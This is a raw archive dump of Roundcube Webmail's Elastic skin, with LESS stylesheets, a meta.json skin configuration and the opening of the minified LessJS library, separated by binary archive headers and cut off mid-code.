        &:extend(.font-icon-class);
        content: @fa-var-user;
    }

    // for contacts list in mail compose
    td.contactgroup:before {
        &:extend(.font-icon-class);
        content: @fa-var-users;
    }

    span.email {
        display: inline;
        color: @color-list-secondary;
        font-style: italic;
        margin-left: .5em;
    }

    li {
        a:before {
            &:extend(.font-icon-class);
            margin-right: .5rem;
        }

        a.addressbook::before {
            .font-icon-regular(@fa-var-address-book);
        }

        a.contactgroup::before {
            .font-icon-solid(@fa-var-users);
        }
    }
}


/* Attachments list */

@attachmentslist-item-height:   2rem;

.attachmentslist {
    padding: 0;
    margin: 0;

    background-color: @color-attachmentlist-background;
    border: 1px solid @color-attachmentlist-border;

    &:empty {
        padding: 0;
        border: 0;
    }

    li {
        list-style: none;
        display: inline-flex;
        white-space: nowrap;
        line-height: @attachmentslist-item-height;
        padding: 0 .25em;
        max-width: 100%;

        &:before {
            &:extend(.font-icon-class);
            .font-icon-regular(@fa-var-file);
            height: @attachmentslist-item-height;
            margin: 0;
        }

        &.txt:before,
        &.text:before {
            .font-icon-regular(@fa-var-file-alt);
        }

        &.pdf:before {
            .font-icon-regular(@fa-var-file-pdf);
        }

        &.odt:before,
        &.doc:before,
        &.docx:before,
        &.msword:before {
            .font-icon-regular(@fa-var-file-word);
        }

        &.ods:before,
        &.xls:before,
        &.xlsx:before,
        &.msexcel:before {
            .font-icon-regular(@fa-var-file-excel);
        }

        &.rar:before,
        &.zip:before,
        &.gz:before {
            .font-icon-regular(@fa-var-file-archive);
        }

        &.image:before,
        &.jpg:before,
        &.jpeg:before,
        &.png:before {
            .font-icon-regular(@fa-var-file-image);
        }

        &.mp3:before,
        &.audio:before {
            .font-icon-regular(@fa-var-file-audio);
        }

        &.m4p:before,
        &.video:before {
            .font-icon-regular(@fa-var-file-video);
        }

        &.ics:before,
        &.calendar:before {
            // TODO
        }

        &.vcard:before {
            .font-icon-regular(@fa-var-address-card);
        }

        &.html:before {
            .font-icon-regular(@fa-var-file-code);
        }

        &.eml:before,
        &.rfc822:before {
            // TODO
        }

        &.odp:before,
        &.otp:before,
        &.ppt:before,
        &.pptx:before,
        &.ppsx:before,
        &.vnd.mspowerpoint:before {
            .font-icon-regular(@fa-var-file-powerpoint);
        }

        &.sig:before,
        &.pgp-signature:before,
        &.pkcs7-signature:before {
            // TODO
        }

        &.application.asc:before {
            // TODO
        }

        &.application.pgp-keys:before {
            // TODO
        }

        a {
            text-decoration: none;
            line-height: @attachmentslist-item-height;
            height: @attachmentslist-item-height;
        }

        a.cancelupload:before,
        a.delete:before {
            &:extend(.font-icon-class);
            content: @fa-var-trash-alt;
            line-height: @attachmentslist-item-height;
            height: @attachmentslist-item-height;
            margin: 0;
        }

        a.dropdown:before {
            margin: 0;
        }

        &.uploading:before {
            .animated-icon-class();
            .font-icon-solid(@fa-var-circle-notch);
        }

        a.filename {
            display: flex;
            overflow: hidden;
            padding: 0 .2em;
        }

        .attachment-name {
            .overflow-ellipsis();
            color: @color-font;
        }

        .attachment-size {
            color: @color-list-secondary;
            padding-left: .25em;
        }
    }
}

.keylist {
    padding: 0;
    list-style: none;

    li {
        line-height: 2;

        &:before {
            &:extend(.font-icon-class);
            content: @fa-var-key;
            line-height: 1.5;
        }
    }
}

#identities-table {
    td.mail:before {
        &:extend(.font-icon-class);
        content: @fa-var-id-card;
    }
}

#responses-table {
    td.name:before {
        &:extend(.font-icon-class);
        content: @fa-var-comment;
    }
}

#filterslist {
    td.name:before {
        &:extend(.font-icon-class);
        content: @fa-var-filter;
    }
}

#filtersetslist {
    td.name:before {
        &:extend(.font-icon-class);
        content: @fa-var-file-alt;
    }
}

#subscription-table {
    li.mailbox a {
        padding-right: 2.5rem;
    }
}
PKh�\gcN��� skins/elastic/styles/mixins.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Font-icons ***/

.font-icon-class {
    font-size: 1.25em;
    // FIXME: with inline-block we have some problems with icon alignment
    // display: inline-block;
    display: block;
    float: left;
    margin: 0 .25rem 0 0;
    width: 1.18em;
    height: 1em;
    font-family: 'Icons';
    font-style: normal;
    font-weight: 900;
    text-decoration: inherit;
    text-align: center;
    speak: none;
    font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    -webkit-font-smoothing: antialiased;
}

.animated-icon-class {
    // spinner-border is defined in Bootstrap
    -webkit-animation: spinner-border 1.5s infinite linear;
    animation: spinner-border 1.5s infinite linear;
}

.font-icon-solid(@icon) {
    content: @icon;
    font-weight: 900;
}

.font-icon-regular(@icon) {
    content: @icon;
    font-weight: 400;
}

.overflow-ellipsis {
    overflow: hidden;
    text-overflow: ellipsis;
}

.font-family {
    font-family: Roboto, sans-serif;
}

.style-input-focus {
    border-color: @color-input-border-focus;
    box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
}
PKh�\����&�& skins/elastic/styles/styles.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

@import "global";
@import "layout";
@import "widgets/common";
@import "widgets/buttons";
@import "widgets/jqueryui";
@import "widgets/dialogs";
@import "widgets/menu";
@import "widgets/messages";
@import "widgets/lists";
@import "widgets/forms";
@import "widgets/editor";


/*** Login form ***/

.task-login {
    #layout-content {
        text-align: center;
        width: 100%;
        display: block;
    }

    #logo {
        display: inline-block;
        position: relative;
        top: 16vh;
        max-height: 100px;
    }
}

#login-form {
    margin: 0 auto;
    top: 20vh;
    width: 95%;
    max-width: 320px;
    position: relative;

    // Fixes table width in IE11
    table, tbody {
        display: block;
    }

    // Fixes input width in IE11
    .row {
        margin-right: 0;
        margin-left: 0;
    }

    .oauthlogin {
        margin-top: 1em;
        padding-top: 1em;
    }

    .formbuttons + .oauthlogin {
        border-top: 1px solid #ccc;
    }
}

#rcmloginsubmit {
    &:before {
        display: none !important;
    }
}

#login-footer {
    flex: 1;
    color: @color-black-shade-text;

    & > div {
        margin-top: 1rem;
        padding: 1rem;
        background: @color-black-shade-bg;
        border-radius: .3rem;
    }
}

#login-addon {
    position: absolute;
    bottom: 0;
    max-height: 30%;
    margin: 1rem !important;
    width: auto !important;
    overflow: auto;

    @media screen and (min-width: (@screen-width-small + 1px)) {
        max-width: @screen-width-small;
        margin: auto !important;
        bottom: 1rem;
        left: 0;
        right: 0;
    }
}

body.task-error-login #layout {
    #layout-menu,
    #layout-content > .header {
        display: none;
    }
}

/*** Addressbook UI ***/

#contactpic {
    width: @layout-contact-icon-width;
    height: @layout-contact-icon-height;
    border-radius: .5rem;
    overflow: hidden;
    display:table-cell;
    vertical-align:middle;
    text-align: center;
    background-color: @color-image-upload-background;

    img {
        max-width: @layout-contact-icon-width;
        max-height: @layout-contact-icon-height;
    }
}

#contacthead {
    .names {
        margin-bottom: .5rem;

        span.namefield {
            font-size: 1.5rem;
            font-weight: bold;
            line-height: 1.2;
        }
    }

    &.readonly {
        .source.row {
            color: @color-form-hint;
            font-size: 90%;
            margin-bottom: .25rem;
        }
    }
}

/*** Mail UI ***/

#message-header {
    margin-bottom: 1rem;

    & > .subject {
        font-size: 1.5rem;
        font-weight: bold;

        body.status-flagged &:before {
            &:extend(.font-icon-class);
            display: inline;
            float: none;
            content: @fa-var-flag;
            font-size: 1em;
            color: @color-error;
        }

        a.extwin {
            text-decoration: none;

            &:before {
                &:extend(.font-icon-class);
                float: none;
                display: inline-block;
                font-size: 75%;
                line-height: 1.5;
                margin: 0;
                content: @fa-var-external-link-square-alt;
            }
        }

        span.inner {
            display: none;
        }
    }

    & > .header {
        display: flex;

        img.contactphoto {
            margin: 0 1rem 0 0;
            border-radius: 50%;
            width: @mail-header-photo-height;
            height: @mail-header-photo-height;
            object-fit: cover;
            background: @color-image-upload-background;
        }
    }

    .header-content {
        min-height: @mail-header-photo-height;
        flex: 1;

        &.details-view {
            .header-summary {
                display: none;
            }
            .header-headers {
                display: initial;
            }
        }
    }

    .header-summary {
        margin-top: .25rem;

        & > span {
            display: inline-block;
        }
    }

    .header-headers {
        display: none;

        .header-title {
            white-space: nowrap;
            color: @color-black-shade-text;
            font-weight: bold;
            padding-right: 1rem;
            vertical-align: top;
        }
    }

    .header-links {
        margin-top: .25rem;

        a {
            font-size: 90%;
            margin-right: .5rem;
            text-decoration: none;
            white-space: nowrap;
            display: inline-block;

            &:before {
                &:extend(.font-icon-class);
                height: 1.5rem;
                line-height: 1.3;
            }

            &.headers-details:before {
                content: @fa-var-envelope;
            }

            &.headers-summary:before {
                .font-icon-regular(@fa-var-envelope);
            }

            &.headers-all:before {
                content: @fa-var-info-circle;
            }

            &.html:before {
                content: @fa-var-image;
            }

            &.plain:before {
                content: @fa-var-align-justify;
            }

            &.zipdownload:before {
                content: @fa-var-download;
            }
        }
    }
}

.message-partheaders {
    padding: .25rem .5rem;
    margin: .5rem 0 -.5rem 0;
    border-top: 1px solid @color-messagepart-border;
    background-color: @color-messagepart-background;

    table.headers-table {
        font-size: 90%;
        color: @color-mail-headers;

        .header-title {
            .overflow-ellipsis();
            white-space: nowrap;
            max-width: 8em;
            font-weight: bold;
            padding-right: 1rem;
            vertical-align: top;
        }

        .subject {
            font-weight: bold;
        }

        & + .message-part,
        & + .message-htmlpart {
            border-top: 0;
            margin: 0;
        }
    }
}

#message-content {
    .attachmentslist:not(:empty) {
        margin-bottom: 1rem;
    }
}

#messagebody {
    &.mailvelope {
        iframe {
            min-height: 75vh;
        }
    }
}

.message-part,
.message-htmlpart {
    padding-top: .5rem;
    // Fixes absolute positioned mail message content
    position: relative;

    &:not(:first-child) {
        border-top: 1px solid @color-messagepart-border;
        margin-top: .5rem;
    }

    &:last-child {
        margin-bottom: .5rem;
    }

    div.rcmBody {
        // Remove margins that can be set by the mail message styles
        margin: 0 auto !important;
    }

    blockquote {
        .overflow-ellipsis();
        color: @color-blockquote-0;
        border-left: 2px solid @color-blockquote-0-border;
        border-right: 2px solid @color-blockquote-0-border;
        background-color: @color-blockquote-background;
        margin: 2px 0;
        padding: 0 .4em;

        blockquote {
            color: @color-blockquote-1;
            border-left: 2px solid @color-blockquote-1-border;
            border-right: 2px solid @color-blockquote-1-border;

            blockquote {
                color: @color-blockquote-2;
                border-left: 2px solid @color-blockquote-2-border;
                border-right: 2px solid @color-blockquote-2-border;
            }
        }

        span.blockquote-link {
            top: 0;
            cursor: pointer;
            right: .5rem;
            min-width: 4rem;
            padding: .2rem .25rem .2rem .5rem;
            font-size: 90%;
            text-align: center;
            color: @color-black-shade-text;
            background: @color-black-shade-bg;
            border: 1px solid @color-black-shade-border;
            border-radius: .3rem;
            line-height: 1;
            .font-family(); // don't inherit monospace font

            &:after {
                &:extend(.font-icon-class);
                content: @fa-var-angle-down;
                display: inline-block;
                float: none;
                margin: 0;
                font-size: 90%;
            }

            &.collapsed:after {
                content: @fa-var-angle-up;
            }
        }

        &.blockquote-header {
            text-overflow: ellipsis !important;
            padding-right: 5rem !important;
        }
    }
}

.message-part {
    span.sig {
        color: @color-mail-signature;
    }

    div.pre {
        font-family: monospace;
        font-size: 13px;
    }

    // This is needed for proper display of quoted plain text
    blockquote {
        display: inline-block;
        min-width: 100%;

        & + br {
            // compensate the spacing "removed" by the inline-block style above
            display: block;
            margin-top: 1em;
        }
    }
}

#compose-attachments {
    margin: 1rem 1rem 0 1rem;
}

#composestatusbar {
    opacity: .3;
    right: 2.5rem;

    @media screen and (min-width: (@screen-width-small + 1px)) {
        display: none;
    }

    a.button {
        display: inline-block;

        &:before {
            line-height: @layout-touch-header-height;
            font-size: 1.25rem !important;
        }
    }
}

/*** Settings UI ***/

// A default icon for settings menu entries added by plugins
.settings-default-icon {
    tr > td.section::before,
    li > a:before {
        content: @fa-var-cog;
    }
}

& when (@dark-mode-enabled = true) {
    @import "dark";
}

@import (optional) "_styles";
PKh�\�h(� skins/elastic/styles/global.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

@import (reference) "variables";
@import (reference) "mixins";

/*** Fonts ***/

@font-face {
  font-family: 'Icons';
  font-style: normal;
  font-weight: 900;
  src: url("../fonts/fa-solid-900.woff2") format('woff2'),
       url("../fonts/fa-solid-900.woff") format('woff');
}

@font-face {
  font-family: 'Icons';
  font-style: normal;
  font-weight: 400;
  src: url("../fonts/fa-regular-400.woff2") format('woff2'),
       url("../fonts/fa-regular-400.woff") format('woff');
}

@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 400;
  src: local('Roboto'), local('Roboto-Regular'),
       url('../fonts/roboto-v29-regular.woff2') format('woff2'), // Chrome 26+, Opera 23+, Firefox 39+
       url('../fonts/roboto-v29-regular.woff') format('woff'); // Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+
}

@font-face {
  font-family: 'Roboto';
  font-style: italic;
  font-weight: 400;
  src: local('Roboto Italic'), local('Roboto-Italic'),
       url('../fonts/roboto-v29-italic.woff2') format('woff2'), // Chrome 26+, Opera 23+, Firefox 39+
       url('../fonts/roboto-v29-italic.woff') format('woff'); // Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+
}

@font-face {
  font-family: 'Roboto';
  font-style: normal;
  font-weight: 700;
  src: local('Roboto Bold'), local('Roboto-Bold'),
       url('../fonts/roboto-v29-regular-700.woff2') format('woff2'), // Chrome 26+, Opera 23+, Firefox 39+
       url('../fonts/roboto-v29-regular-700.woff') format('woff'); // Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+
}

@font-face {
  font-family: 'Roboto';
  font-style: italic;
  font-weight: 700;
  src: local('Roboto Bold Italic'), local('Roboto-BoldItalic'),
       url('../fonts/roboto-v29-italic-700.woff2') format('woff2'), // Chrome 26+, Opera 23+, Firefox 39+
       url('../fonts/roboto-v29-italic-700.woff') format('woff'); // Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+
}

/* Reset some Bootstrap style */

body, button, input, optgroup, select, textarea, .popover {
    .font-family();
}

button, input, select, textarea {
    line-height: initial;
}

input {
    vertical-align: middle;
}

a {
    color: @color-link;

    &:hover {
        color: @color-link-hover;
    }

    &.disabled {
        pointer-events: none;
    }

    &.disabled:not(.btn) {
        opacity: .5;
    }
}

/* Scrollbar styles */

html when not (@scrollbar-width = unset) {
    // Ignore thin width setting for Firefox, it makes the scrollbar very very thin in Firefox >= 100
    & when not (@scrollbar-width = thin) {
        scrollbar-width: @scrollbar-width;

        textarea,
        select,
        .popover-body,
        .popupmenu,
        .ui-menu,
        .ui-dialog-content,
        .frame-content,
        .formcontent,
        .table-responsive,
        .table-responsive-sm,
        .tox-menu,
        .tox-dialog__body-nav,
        .tox-collection__group,
        .scroller {
            // Firefox does not inherit scrollbar size from the html element
            scrollbar-width: @scrollbar-width;
        }
    }

    &:not(.touch) {
        ::-webkit-scrollbar when (@scrollbar-width = auto) {
            // Note: If we do not set the width a default scrollbar is used in Chrome.
            // And the custom colors set below do not work
            width: 12px;
        }
        ::-webkit-scrollbar when (@scrollbar-width = thin) {
            width: 6px;
        }
    }
}

html {
    scrollbar-color: @color-scrollbar-thumb @color-scrollbar-track;

    &:not(.touch) {
        ::-webkit-scrollbar-track {
            background-color: @color-scrollbar-track;
        }

        ::-webkit-scrollbar-thumb {
            background-color: @color-scrollbar-thumb;
        }
    }
}
PKh�\1	��skins/elastic/meta.jsonnu�[���{
	"name": "Elastic",
	"author": "Aleksander Machniak",
	"license": "Creative Commons Attribution-ShareAlike",
	"license-url": "http://creativecommons.org/licenses/by-sa/3.0/",
	"config": {
		"supported_layouts": ["widescreen"],
		"jquery_ui_colors_theme": "bootstrap",
		"embed_css_location": "/styles/embed.css",
		"editor_css_location": "/styles/embed.css",
		"dark_mode_support": true,
		"media_browser_css_location": "none",
		"additional_logo_types": ["dark", "small", "small-dark"]
	},
	"meta": {
		"viewport": "width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0",
		"theme-color": "#f4f4f4",
		"msapplication-navbutton-color": "#f4f4f4"
	}
}
PKh�\�Av�=�=skins/elastic/deps/less.min.jsnu�[���/**
 * LessJS - v3.13.0
 *
 * @source https://raw.githubusercontent.com/less/less.js/v3.13.0/dist/less.js
 *
 */
/**
 * Less - Leaner CSS v3.13.0
 * http://lesscss.org
 * 
 * Copyright (c) 2009-2020, Alexis Sellier <self@cloudhead.net>
 * Licensed under the Apache-2.0 License.
 *
 * @license Apache-2.0
 */
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).less=t()}(this,(function(){"use strict";function e(e){return e.replace(/^[a-z-]+:\/+?[^\/]+/,"").replace(/[\?\&]livereload=\w+/,"").replace(/^\//,"").replace(/\.[a-zA-Z]+$/,"").replace(/[^\.\w-]+/g,"-").replace(/\./g,":")}function t(e,t){for(var i in t.dataset)if(t.dataset.hasOwnProperty(i))if("env"===i||"dumpLineNumbers"===i||"rootpath"===i||"errorReporting"===i)e[i]=t.dataset[i];else try{e[i]=JSON.parse(t.dataset[i])}catch(e){}}var i=function(t,i,n){var r=n.href||"",s="less:"+(n.title||e(r)),o=t.getElementById(s),a=!1,l=t.createElement("style");l.setAttribute("type","text/css"),n.media&&l.setAttribute("media",n.media),l.id=s,l.styleSheet||(l.appendChild(t.createTextNode(i)),a=null!==o&&o.childNodes.length>0&&l.childNodes.length>0&&o.firstChild.nodeValue===l.firstChild.nodeValue);var u=t.getElementsByTagName("head")[0];if(null===o||!1===a){var h=n&&n.nextSibling||null;h?h.parentNode.insertBefore(l,h):u.appendChild(l)}if(o&&!1===a&&o.parentNode.removeChild(o),l.styleSheet)try{l.styleSheet.cssText=i}catch(e){throw new Error("Couldn't reassign styleSheet.cssText.")}},n=function(e){var t,i=e.document;return i.currentScript||(t=i.getElementsByTagName("script"))[t.length-1]},r=function(e,t){return(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var i in t)t.hasOwnProperty(i)&&(e[i]=t[i])})(e,t)};function s(e,t){function i(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(i.prototype=t.prototype,new i)}var o=function(){return(o=Object.assign||function(e){for(var t,i=1,n=arguments.length;i<n;i++)for(var r in t=arguments[i])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function a(){for(var e=0,t=0,i=arguments.length;t<i;t++)e+=arguments[t].length;var n=Array(e),r=0;for(t=0;t<i;t++)for(var s=arguments[t],o=0,a=s.length;o<a;o++,r++)n[r]=s[o];return n}var l={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgrey:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",grey:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},u={length:{m:1,cm:.01,mm:.001,in:.0254,px:.0254/96,pt:.0254/72,pc:.0254/72*12},duration:{s:1,ms:.001},angle:{rad:1/(2*Math.PI),deg:1/360,grad:1/400,turn:1}},h={colors:l,unitConversions:u},c=function(){function e(){this.parent=null,this.visibilityBlocks=void 0,this.nodeVisible=void 0,this.rootNode=null,this.parsed=null;var e=this;Object.defineProperty(this,"currentFileInfo",{get:function(){return e.fileInfo()}}),Object.defineProperty(this,"index",{get:function(){return e.getIndex()}})}return e.prototype.setParent=function(t,i){function n(t){t&&t instanceof e&&(t.parent=i)}Array.isArray(t)?t.forEach(n):n(t)},e.prototype.getIndex=function(){return this._index||this.parent&&this.parent.getIndex()||0},e.prototype.fileInfo=function(){return this._fileInfo||this.parent&&this.parent.fileInfo()||{}},e.prototype.isRulesetLike=function(){return!1},e.prototype.toCSS=function(e){var t=[];return this.genCSS(e,{add:function(e,i,n){t.push(e)},isEmpty:function(){return 0===t.length}}),t.join("")},e.prototype.genCSS=function(e,t){t.add(this.value)},e.prototype.accept=function(e){this.value=e.visit(this.value)},e.prototype.eval=function(){return this},e.prototype._operate=function(e,t,i,n){switch(t){case"+":return i+n;case"-":return i-n;case"*":return i*n;case"/":return i/n}},e.prototype.fround=function(e,t){var i=e&&e.numPrecision;return i?Number((t+2e-16).toFixed(i)):t},e.prototype.blocksVisibility=function(){return null==this.visibilityBlocks&&(this.visibilityBlocks=0),0!==this.visibilityBlocks},e.prototype.addVisibilityBlock=function(){null==this.visibilityBlocks&&(this.visibilityBlocks=0),this.visibilityBlocks=this.visibilityBlocks+1},e.prototype.removeVisibilityBlock=function(){null==this.visibilityBlocks&&(this.visibilityBlocks=0),this.visibilityBlocks=this.visibilityBlocks-1},e.prototype.ensureVisibility=function(){this.nodeVisible=!0},e.prototype.ensureInvisibility=function(){this.nodeVisible=!1},e.prototype.isVisible=function(){return this.nodeVisible},e.prototype.visibilityInfo=function(){return{visibilityBlocks:this.visibilityBlocks,nodeVisible:this.nodeVisible}},e.prototype.copyVisibilityInfo=function(e){e&&(this.visibilityBlocks=e.visibilityBlocks,this.nodeVisible=e.nodeVisible)},e}();c.compare=function(e,t){if(e.compare&&"Quoted"!==t.type&&"Anonymous"!==t.type)return e.compare(t);if(t.compare)return-t.compare(e);if(e.type===t.type){if(e=e.value,t=t.value,!Array.isArray(e))return e===t?0:void 0;if(e.length===t.length){for(var i=0;i<e.length;i++)if(0!==c.compare(e[i],t[i]))return;return 0}}},c.numericCompare=function(e,t){return e<t?-1:e===t?0:e>t?1:void 0};var f=function(e,t,i){var n=this;Array.isArray(e)?this.rgb=e:e.length>=6?(this.rgb=[],e.match(/.{2}/g).map((function(e,t){t<3?n.rgb.push(parseInt(e,16)):n.alpha=parseInt(e,16)/255}))):(this.rgb=[],e.split("").map((function(e,t){t<3?n.rgb.push(parseInt(e+e,16)):n.alpha=parseInt(e+e,16)/255}))),this.alpha=this.alpha||("number"==typeof t?t:1),void 0!==i&&(this.value=i)};function p(e,t){return Math.min(Math.max(e,0),t)}function d(e){return"#"+e.map((function(e){return((e=p(Math.round(e),255))<16?"0":"")+e.toString(16)})).join("")}(f.prototype=new c).luma=function(){var e=this.rgb[0]/255,t=this.rgb[1]/255,i=this.rgb[2]/255;return.2126*(e=e<=.03928?e/12.92:Math.pow((e+.055)/1.055,2.4))+.7152*(t=t<=.03928?t/12.92:Math.pow((t+.055)/1.055,2.4))+.0722*(i=i<=.03928?i/12.92:Math.pow((i+.055)/1.055,2.4))},f.prototype.genCSS=function(e,t){t.add(this.toCSS(e))},f.prototype.toCSS=function(e,t){var i,n,r,s=e&&e.compress&&!t,o=[];if(n=this.fround(e,this.alpha),this.value)if(0===this.value.indexOf("rgb"))n<1&&(r="rgba");else{if(0!==this.value.indexOf("hsl"))return this.value;r=n<1?"hsla":"hsl"}else n<1&&(r="rgba");switch(r){case"rgba":o=this.rgb.map((function(e){return p(Math.round(e),255)})).concat(p(n,1));break;case"hsla":o.push(p(n,1));case"hsl":i=this.toHSL(),o=[this.fround(e,i.h),this.fround(e,100*i.s)+"%",this.fround(e,100*i.l)+"%"].concat(o)}if(r)return r+"("+o.join(","+(s?"":" "))+")";if(i=this.toRGB(),s){var a=i.split("");a[1]===a[2]&&a[3]===a[4]&&a[5]===a[6]&&(i="#"+a[1]+a[3]+a[5])}return i},f.prototype.operate=function(e,t,i){for(var n=new Array(3),r=this.alpha*(1-i.alpha)+i.alpha,s=0;s<3;s++)n[s]=this._operate(e,t,this.rgb[s],i.rgb[s]);return new f(n,r)},f.prototype.toRGB=function(){return d(this.rgb)},f.prototype.toHSL=function(){var e,t,i=this.rgb[0]/255,n=this.rgb[1]/255,r=this.rgb[2]/255,s=this.alpha,o=Math.max(i,n,r),a=Math.min(i,n,r),l=(o+a)/2,u=o-a;if(o===a)e=t=0;else{switch(t=l>.5?u/(2-o-a):u/(o+a),o){case i:e=(n-r)/u+(n<r?6:0);break;case n:e=(r-i)/u+2;break;case r:e=(i-n)/u+4}e/=6}return{h:360*e,s:t,l:l,a:s}},f.prototype.toHSV=function(){var e,t,i=this.rgb[0]/255,n=this.rgb[1]/255,r=this.rgb[2]/255,s=this.alpha,o=Math.max(i,n,r),a=Math.min(i,n,r),l=o,u=o-a;if(t=0===o?0:u/o,o===a)e=0;else{switch(o){case i:e=(n-r)/u+(n<r?6:0);break;case n:e=(r-i)/u+2;break;case r:e=(i-n)/u+4}e/=6}return{h:360*e,s:t,v:l,a:s}},f.prototype.toARGB=function(){return d([255*this.alpha].concat(this.rgb))},f.prototype.compare=function(e){return e.rgb&&e.rgb[0]===this.rgb[0]&&e.rgb[1]===this.rgb[1]&&e.rgb[2]===this.rgb[2]&&e.alpha===this.alpha?0:void 0},f.prototype.type="Color",f.fromKeyword=function(e){var t,i=e.toLowerCase();if(l.hasOwnProperty(i)?t=new f(l[i].slice(1)):"transparent"===i&&(t=new f([0,0,0],0)),t)return t.value=e,t};var v=function(e){this.value=e};(v.prototype=new c).genCSS=function(e,t){t.add("("),this.value.genCSS(e,t),t.add(")")},v.prototype.eval=function(e){return new v(this.value.eval(e))},v.prototype.type="Paren";var m={"":!0," ":!0,"|":!0},g=function(e){" "===e?(this.value=" ",this.emptyOrWhitespace=!0):(this.value=e?e.trim():"",this.emptyOrWhitespace=""===this.value)};(g.prototype=new c).genCSS=function(e,t){var i=e.compress||m[this.value]?"":" ";t.add(i+this.value+i)},g.prototype.type="Combinator";var y=function(e,t,i,n,r,s){this.combinator=e instanceof g?e:new g(e),this.value="string"==typeof t?t.trim():t||"",this.isVariable=i,this._index=n,this._fileInfo=r,this.copyVisibilityInfo(s),this.setParent(this.combinator,this)};(y.prototype=new c).accept=function(e){var t=this.value;this.combinator=e.visit(this.combinator),"object"==typeof 